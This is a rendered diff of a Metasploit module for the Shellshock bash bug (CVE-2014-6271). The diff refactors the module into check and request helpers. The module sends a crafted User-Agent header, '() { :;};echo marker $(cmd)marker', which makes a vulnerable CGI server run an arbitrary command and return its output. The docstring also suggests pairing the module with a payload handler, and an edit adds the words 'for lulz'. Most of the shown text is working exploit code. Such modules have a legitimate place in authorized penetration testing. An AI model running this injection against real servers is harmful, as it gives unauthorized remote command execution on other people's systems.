@@ -20,15 +20,15 @@ def initialize(info = {})
20
20
the HTTP_USER_AGENT variable.
21
21
22
22
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
23
- CMD, set ExitOnSession to false, run -j, and then run this module.
23
+ CMD, set ExitOnSession false, run -j, and then run this module for lulz .
24
24
} ,
25
25
'Author' => [
26
26
'Stephane Chazelas' , # Vulnerability discovery
27
27
'wvu' # Metasploit module
28
28
] ,
29
29
'References' => [
30
30
[ 'CVE' , '2014-6271' ] ,
31
- [ 'URL' , 'https://securityblog .redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ ' ] ,
31
+ [ 'URL' , 'https://access .redhat.com/articles/1200223 ' ] ,
32
32
[ 'URL' , 'http://seclists.org/oss-sec/2014/q3/649' ]
33
33
] ,
34
34
'DisclosureDate' => 'Sep 24 2014' ,
@@ -42,21 +42,32 @@ def initialize(info = {})
42
42
OptString . new ( 'CMD' , [ true , 'Command to run (absolute paths required)' ,
43
43
'/usr/bin/id' ] )
44
44
] , self . class )
45
+
46
+ @marker = marker
45
47
end
46
48
47
- def run_host ( ip )
48
- marker = Rex ::Text . rand_text_alphanumeric ( rand ( 42 ) + 1 )
49
- user_agent = %Q{() { :; }; echo "#{ marker } $(#{ datastore [ 'CMD' ] } )#{ marker } "}
49
+ def check
50
+ res = req ( "echo #{ @marker } " )
50
51
51
- res = send_request_raw (
52
- 'method' => datastore [ 'METHOD' ] ,
53
- 'uri' => normalize_uri ( target_uri . path ) ,
54
- 'agent' => user_agent
55
- )
52
+ if res && res . body . include? ( @marker * 3 )
53
+ report_vuln (
54
+ :host => rhost ,
55
+ :port => rport ,
56
+ :name => self . name ,
57
+ :refs => self . references
58
+ )
59
+ Exploit ::CheckCode ::Vulnerable
60
+ else
61
+ Exploit ::CheckCode ::Safe
62
+ end
63
+ end
64
+
65
+ def run_host ( ip )
66
+ return unless check == Exploit ::CheckCode ::Vulnerable
56
67
57
- return if ( res && res . body . include? ( user_agent ) )
68
+ res = req ( datastore [ 'CMD' ] )
58
69
59
- if res && res . body =~ /#{ marker } (.+)#{ marker } /m
70
+ if res && res . body =~ /#{ @ marker} (.+)#{ @ marker} /m
60
71
print_good ( "#{ peer } - #{ $1} " )
61
72
report_vuln (
62
73
:host => ip ,
@@ -67,4 +78,16 @@ def run_host(ip)
67
78
end
68
79
end
69
80
81
+ def req ( cmd )
82
+ send_request_cgi (
83
+ 'method' => datastore [ 'METHOD' ] ,
84
+ 'uri' => normalize_uri ( target_uri . path ) ,
85
+ 'agent' => "() { :;};echo #{ @marker } $(#{ cmd } )#{ @marker } "
86
+ )
87
+ end
88
+
89
+ def marker
90
+ Rex ::Text . rand_text_alphanumeric ( rand ( 42 ) + 1 )
91
+ end
92
+
70
93
end
0 commit comments